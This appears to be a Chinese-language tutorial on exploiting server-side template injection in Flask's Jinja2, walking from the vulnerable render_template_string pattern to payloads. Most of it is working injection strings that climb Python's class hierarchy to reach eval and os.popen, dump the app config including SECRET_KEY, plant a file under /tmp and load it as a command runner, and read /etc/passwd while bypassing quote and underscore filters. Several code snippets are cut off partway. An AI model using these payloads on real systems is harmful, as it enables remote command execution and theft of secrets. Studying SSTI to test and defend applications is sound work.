关于flask ssti模板注入
jinja2
Jinja 2是一种面向Python的现代和设计友好的模板语言,它是Flask框架的一部分
Jinja有两种定界符。{% ... %}
和{{ ... }}
:
{{ ... }}
用于存放变量- ,
{% ... %}
用来执行函数或者逻辑代码
前者用于执行像for循环或赋值等语句,后者向模板输出一个表达式的结果。
漏洞原理
1 | from flask import Flask, render_template_string, request |
这里的strings是由我们可控的,那么就可以直接写入jinja2的模板语言,例如:?ssti={{2*6}}
,此时造成了模板注入。
jinja2的模板中执行python代码
jinja2中是可以直接访问python的一些对象及其方法的,如字符串对象及其upper函数、列表对象及其count函数、字典对象及其has_key函数。
那么如何在 Jinja2 的模板中执行 Python 代码呢?如官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块os,即需要在模板环境中对其注册
那么,如何在未注册OS模块的情况下在模板中调用popen()函数执行系统命令呢?前面已经说了,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法,用到常见的 Python 沙盒环境逃逸方法
python2中用file对象读取文件
不能像字符串对象,列表对象那样直接引用(‘’ []),那如何拿到file对象呢?就用上面给的属性和方法,如:
1 | # ''.__class__ ==> <class 'str'> |
转换成jinja2的语法就是:
1 | {% for c in ''.__class__.__base__.__subclasses__() %} |
寻找__builtins__得到eval
1 | for c in ().__class__.__bases__[0].__subclasses__(): |
转换成jinja2语法为:(执行命令使用os.popen(‘whoami’).read()才有执行结果的回显)
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
其实上面的语句可以转换成一句话:
1 | python3: |
直接从globals中寻找eval
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
还可以结合python沙盒绕过的方法来构造payload
结合Flask内置变量
读取敏感信息
flask内部存在request,config等全局变量,都可以通过ssti得到。
request
request.environ
请求上下文信息request.environ['werkzeug.server.shutdown']()
关闭运行服务器config
所有的配置值 数据库连接字符串,第三方服务凭据,SECRET_KEY等,是一个字典1
2
3{{ config }} 获取所有配置信息
{{ config.items() }} 查看配置
{{ config.root_path }} 查看文件所在的绝对路径url_for
url_for.__globals__['current_app'] 当前app
url_for.__globals__['current_app'].config 获取当前app的config
get_flashed_messages
返回之前在Flask中通过flash()
传入的闪现信息列表。get_flashed_messages.__globals__['current_app'] 当前app
get_flashed_messages.__globals__['current_app'].config 获取当前app的config
利用config.from_pyfile加载自定义模块
config.from_pyfile()
可以加载文件,将键名为大写的键值对更新到当前环境的config对象中.
因此,可以通过写文件写入特殊内容,然后再使用config.from_myfile
加载到config中
- 写入文件
1
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}
- 使用
config.from_file
加载文件1
{{ config.from_pyfile('/tmp/evil') }}
- 使用设置的config变量
1
{{ config['CMD']("ls") }}
绕过过滤
过滤引号
- 先获取chr函数,赋值给chr,之后再进行字符串拼接
1
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}
- 借助request对象GET传入
1
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}
path=/etc/passwd
过滤双下划线
同样界注入request对象
1 | {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }} |
GET传入class=__class__&mro=__mro__&subclasses=__subclasses__